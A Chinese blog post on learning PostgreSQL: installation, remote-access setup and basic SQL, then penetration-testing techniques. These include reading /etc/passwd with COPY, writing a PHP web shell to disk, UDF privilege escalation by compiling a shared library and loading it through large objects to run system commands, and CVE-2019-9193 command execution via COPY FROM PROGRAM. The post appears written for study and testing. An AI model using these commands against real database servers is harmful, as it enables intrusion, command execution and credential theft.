美文网首页
PostgreSQL 数据库学习

PostgreSQL 数据库学习

作者: CSeroad | 来源:发表于2021-06-28 19:39 被阅读0次

    前言

    最近多次遇到PostgreSQL数据库,只会一键提权,究其细节,不甚了解,这里学习一番。

    PostgreSQL 数据库安装

    选择在centos上安装。
    参考 CentOS安装PostgreSQL
    安装rpm文件

    yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
    

    安装客户端

    yum install postgresql10
    

    安装服务端

    yum install postgresql10-server
    

    初始化

    /usr/pgsql-10/bin/postgresql-10-setup initdb
    

    启动postgresql服务

    systemctl start postgresql-10
    

    postgres用户登录

    su - postgres
    

    注:postgresql 安装后自动创建postgres用户,无密码
    登录postgresql数据库

    psql
    

    开启远程访问

    1. 修改/var/lib/pgsql/10/data/postgresql.conf文件,取消 listen_addresses 的注释,将参数值改为"*"
    image.png
    1. 修改/var/lib/pgsql/10/data/pg_hba.conf文件,增加host被访问
    host    all             all             0.0.0.0/0               md5
    
    image.png

    做完上面的两个修改应该就可以了,如果还不行,查看是否关闭了防火墙。

    PostgreSQL 数据库语句

    命令行连接postgres的两种方式

    psql postgres://username:password@host:port/dbname  
    
    username:连接数据的用户名,默认值是postgres
    password:密码,默认值是postgres
    host:主机名,默认值是localhost
    port:端口,默认值是5432
    dbname:要连接的数据库名,默认值是postgres
    
    psql -U postgres -h 10.211.55.30  -p 5432 -d postgres
    
    -U username 用户名,默认值postgres
    -h hostname 主机名,默认值localhost
    -p port 端口号,默认值5432
    -d dbname 要连接的数据库名,默认值postgres
    

    控制台命令

    \h:查看SQL命令的解释,比如\h select。
    \?:查看psql命令列表。
    \l:列出所有数据库。
    \c [database_name]:连接其他数据库。
    \d:列出当前数据库的所有表格。
    \d [table_name]:列出某一张表格的结构。
    \du:列出所有用户。
    \e:打开文本编辑器。
    \conninfo:列出当前数据库和连接的信息
    

    创建数据库

    create database runoobdb;
    

    连接数据库

    \c runoobdb;
    

    创建表

    CREATE TABLE COMPANY(
       ID INT PRIMARY KEY     NOT NULL,
       NAME           TEXT    NOT NULL,
       AGE            INT     NOT NULL,
       ADDRESS        CHAR(50),
       SALARY         REAL,
       JOIN_DATE      DATE
    );
    

    删除表

    drop table company;
    

    插入数据

    INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY,JOIN_DATE) VALUES (1, 'Paul', 32, 'California', 20000.00,'2001-07-13');
    

    查询语句

    select * from company;
    

    查看版本信息

    select version();
    

    查看postgresql数据库密码

    SELECT usename, passwd FROM pg_shadow;
    

    需要注意的是postgresql的密码是md5(user+password)
    修改密码

    alter user postgres with encrypted password '1';
    

    查看postgresql目录

    SELECT setting FROM pg_settings WHERE name='data_directory';
    

    添加管理员

    create user test password '12345' superuser createrole createdb;
    

    查看用户权限

    select * from pg_roles;
    

    数据库读取文件

    drop table hash;
    create table hash(hash TEXT);
    copy hash from '/etc/passwd';
    select *from hash;
    

    数据库写入文件

    drop table test;
    create table test (t TEXT);
    insert into test(t) values ('<?php @system("$_GET[x]");?>');
    select * from test;
    copy test(t) to  '/tmp/cmd.php';
    

    注:数据库的读、写操作权限比较低,无法读取、写入到/var/www/html/下

    PostgreSQL 数据库提权

    UDF 提权

    UDF我的理解就是用户自定义函数来执行系统命令。
    8.2版本以下可以直接调用系统的动态链接库/lib/libc.so.6或者/lib64/libc.so.6,未测试该版本。再次做个记录。

    CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
    select system('id');
    

    8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件
    但是在创建函数时提示 ELF 头错误。

    image.png

    也可以利用 udfhack 生成任意udf文件。
    如:在postgresql 10.17 版本上进行udf提权。
    先下载postgresql 10.17 版本 https://ftp.postgresql.org/pub/source/v10.17/postgresql-10.17.tar.gz 的源码。
    下载解压切换到postgresql 目录下进行编译安装。

    ./configure -prefix=/usr/local/pgsql --without-readline --without-zlib
    make
    make install
    

    编译后,会在/usr/local/pgsql/include/server/目录下生成postgres.h文件。
    因为lib_postgresqludf_sys.c文件需要

    git clone https://github.com/sqlmapproject/udfhack
    cd udfhack/linux/lib_postgresqludf_sys
    gcc -Wall -I/usr/local/pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
    xxd -pe lib_postgresqludf_sys.so | tr -d '\n' > 1.txt   #将so文件hex后去除\n并输出到1.txt
    

    写入生成的udf文件

    select lo_from_bytea(9999, '\x......');  # 创建一个大对象并存储数据,返回它的OID
    select lo_export(9999,'/tmp/udf.so');  # 将对象导出到/tmp/udf.so恶意动态链接库
    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;  # 创建sys_eval函数
    select sys_eval('id');    # 执行命令
    drop function sys_eval;  # 删除sys_eval函数
    select lo_unlink(oid) from pg_largeobject_metadata where lomowner = 10 limit 20000;  # 删除大对象
    
    image.png

    也可以正常反弹

    image.png

    在某些时候需要将so文件分段写入,比如url编码过长的时候。
    所以需要python脚本分割so文件

    #~/usr/bin/env python 2.7
    #-*- coding:utf-8 -*-
    import sys
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print "Usage:python " + sys.argv[0] + " inputfile"
            sys.exit()
        fileobj = open(sys.argv[1],'rb')
        i = 0
        for b in fileobj.read():
            sys.stdout.write(r'{:02x}'.format(ord(b)))
            i = i + 1
            if i % 2048 == 0:
                print "\n"
        fileobj.close()
    

    然后分段写入sql语句

    SELECT lo_create(9023);
    insert into pg_largeobject values (9023, 0, decode('7f454c4....', 'hex'));
    insert into pg_largeobject values (9023, 1, decode('020002....', 'hex'));
    insert into pg_largeobject values (9023, 2, decode('000000....', 'hex'));
    insert into pg_largeobject values (9023, 3, decode('000000....', 'hex'));
    insert into pg_largeobject values (9023, 4, decode('181e20....', 'hex'));
    insert into pg_largeobject values (9023, 5, decode('7f454c4....', 'hex'));
    insert into pg_largeobject values (9023, 6, decode('640000....', 'hex'));
    SELECT lo_export(9023, '/tmp/udf_sys.so');
    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    select sys_eval('id');
    

    CVE-2019-9193

    从9.3版本开始,PostgreSQL数据库出现了一处"特性",具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性来执行任意命令。

    drop table if  exists cmd_exec;  # 如果指定表不存在则跳过,如果指定表存在则删除
    create table cmd_exec(output text);  # 创建cmd_exec 数据表
    copy cmd_exec from program 'id';   # copy专门在表和文件拷贝数据,program就是需要执行的程序名字,也可以直接理解为系统命令
    select * from cmd_exec;
    
    image.png

    其他

    也可以利用 ssl_passphrase_command 进行RCE,不过查找资料发现该利用的条件很苛刻,需要满足postgresql 11 版本向上、服务器需要开启SSL、一些配置还需要服务重启。有兴趣的可以看这篇文章:
    https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/
    复现CVE-2018-1058 漏洞更是鸡肋,只能使用select查询语句,无法添加用户,且管理员执行pg_dump命令时才会触发该漏洞。即使查询到,管理员密码也是md5(user+password)。

    总结

    学习了PostgreSQL数据库的基础操作,最常用的两种提权方式UDF提权和CVE-2019-9193执行系统命令。以及另外的一些提权方式,因为可利用性暂时没有详细了解。

    参考资料

    https://www.runoob.com/postgresql/postgresql-create-database.html
    http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html
    https://www.x1a0t.com/2020/05/25/Attack-Database-Postgresql/
    http://www.postgres.cn/docs/9.4/lo-funcs.html
    https://www.jianshu.com/p/ba0297da2c2e
    https://pulsesecurity.co.nz/articles/postgres-sqli

    相关文章

      网友评论

          本文标题:PostgreSQL 数据库学习

          本文链接:https://www.haomeiwen.com/subject/pwzayltx.html